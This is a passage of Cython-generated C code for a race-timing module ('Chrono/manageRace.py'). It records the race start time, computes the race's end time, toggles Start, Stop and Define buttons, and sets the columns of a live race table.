__PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":132 * self._status = self.cmdStart * print( self._status ) * self.start_time_ms = int( time() * 1000 ) # <<<<<<<<<<<<<< * self.start_time = int( self.start_time_ms / 1000 ) * self.max_time = self.start_time + self._duration */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Multiply(__pyx_t_2, __pyx_int_1000); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_start_time_ms, __pyx_t_2) < 0) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":133 * print( self._status ) * self.start_time_ms = int( time() * 1000 ) * self.start_time = int( self.start_time_ms / 1000 ) # <<<<<<<<<<<<<< * self.max_time = self.start_time + self._duration * self.remain_lap = -2 */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_start_time_ms); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyInt_TrueDivideObjC(__pyx_t_2, __pyx_int_1000, 0x3E8, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_start_time, __pyx_t_2) < 0) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":134 * self.start_time_ms = int( time() * 1000 ) * self.start_time = int( self.start_time_ms / 1000 ) * self.max_time = self.start_time + self._duration # <<<<<<<<<<<<<< * self.remain_lap = -2 * Globals.MainWindow.B_Stop.setEnabled(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_start_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_max_time, __pyx_t_1) < 0) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":135 * self.start_time = int( self.start_time_ms / 1000 ) * self.max_time = self.start_time + self._duration * self.remain_lap = -2 # <<<<<<<<<<<<<< * Globals.MainWindow.B_Stop.setEnabled(True) * Globals.MainWindow.B_Start.setEnabled(False) */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap, __pyx_int_neg_2) < 0) __PYX_ERR(0, 135, __pyx_L1_error) /* "Chrono/manageRace.py":136 * self.max_time = self.start_time + self._duration * self.remain_lap = -2 * Globals.MainWindow.B_Stop.setEnabled(True) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Start.setEnabled(False) * Globals.MainWindow.B_Define.setEnabled(False) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":137 * self.remain_lap = -2 * Globals.MainWindow.B_Stop.setEnabled(True) * Globals.MainWindow.B_Start.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setEnabled(False) * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__20, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":138 * Globals.MainWindow.B_Stop.setEnabled(True) * Globals.MainWindow.B_Start.setEnabled(False) * Globals.MainWindow.B_Define.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) * for i in cols: */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__21, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":139 * Globals.MainWindow.B_Start.setEnabled(False) * Globals.MainWindow.B_Define.setEnabled(False) * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) # <<<<<<<<<<<<<< * for i in cols: * if cols[i][0] is not None: */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setColumnCount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":140 * Globals.MainWindow.B_Define.setEnabled(False) * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) * for i in cols: # <<<<<<<<<<<<<< * if cols[i][0] is not None: * Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { __pyx_t_2 = __pyx_t_1; __Pyx_INCREF(__pyx_t_2); __pyx_t_7 = 0; __pyx_t_8 = NULL; } else { __pyx_t_7 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = Py_TYPE(__pyx_t_2)->tp_iternext; if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 140, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; for (;;) { if (likely(!__pyx_t_8)) { if (likely(PyList_CheckExact(__pyx_t_2))) { if (__pyx_t_7 >= PyList_GET_SIZE(__pyx_t_2)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_1 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_7); __Pyx_INCREF(__pyx_t_1); __pyx_t_7++; if (unlikely(0 < 0)) __PYX_ERR(0, 140, __pyx_L1_error) #else __pyx_t_1 = PySequence_ITEM(__pyx_t_2, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } else { if (__pyx_t_7 >= PyTuple_GET_SIZE(__pyx_t_2)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_7); __Pyx_INCREF(__pyx_t_1); __pyx_t_7++; if (unlikely(0 < 0)) __PYX_ERR(0, 140, __pyx_L1_error) #else __pyx_t_1 = PySequence_ITEM(__pyx_t_2, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } } else { __pyx_t_1 = __pyx_t_8(__pyx_t_2); if (unlikely(!__pyx_t_1)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 140, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_1); } __Pyx_XDECREF_SET(__pyx_v_i, __pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":141 * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) * for i in cols: * if cols[i][0] is not None: # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) * Globals.MainWindow.R_RaceLive.setColumnWidth( cols[i][0], cols[i][1]) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = PyObject_GetItem(__pyx_t_1, __pyx_v_i); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetItemInt(__pyx_t_6, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = (__pyx_t_1 != Py_None); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_9 = (__pyx_t_4 != 0); if (__pyx_t_9) { /* "Chrono/manageRace.py":142 * for i in cols: * if cols[i][0] is not None: * Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnWidth( cols[i][0], cols[i][1]) * */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = PyObject_GetItem(__pyx_t_6, __pyx_v_i); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetItemInt(__pyx_t_5, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_10 = PyObject_GetItem(__pyx_t_5, __pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_10, 2, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_t_6, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_t_6, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_12 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); if (__pyx_t_10) { __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_10); __pyx_t_10 = NULL; } __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_12, 0+__pyx_t_11, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_12, 1+__pyx_t_11, __pyx_t_5); __pyx_t_6 = 0; __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":143 * if cols[i][0] is not None: * Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) * Globals.MainWindow.R_RaceLive.setColumnWidth( cols[i][0], cols[i][1]) # <<<<<<<<<<<<<< * * self.maxrows = 0 */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setColumnWidth); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = PyObject_GetItem(__pyx_t_3, __pyx_v_i); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_5, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = PyObject_GetItem(__pyx_t_5, __pyx_v_i); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_6, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_12))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_12, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_12, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; 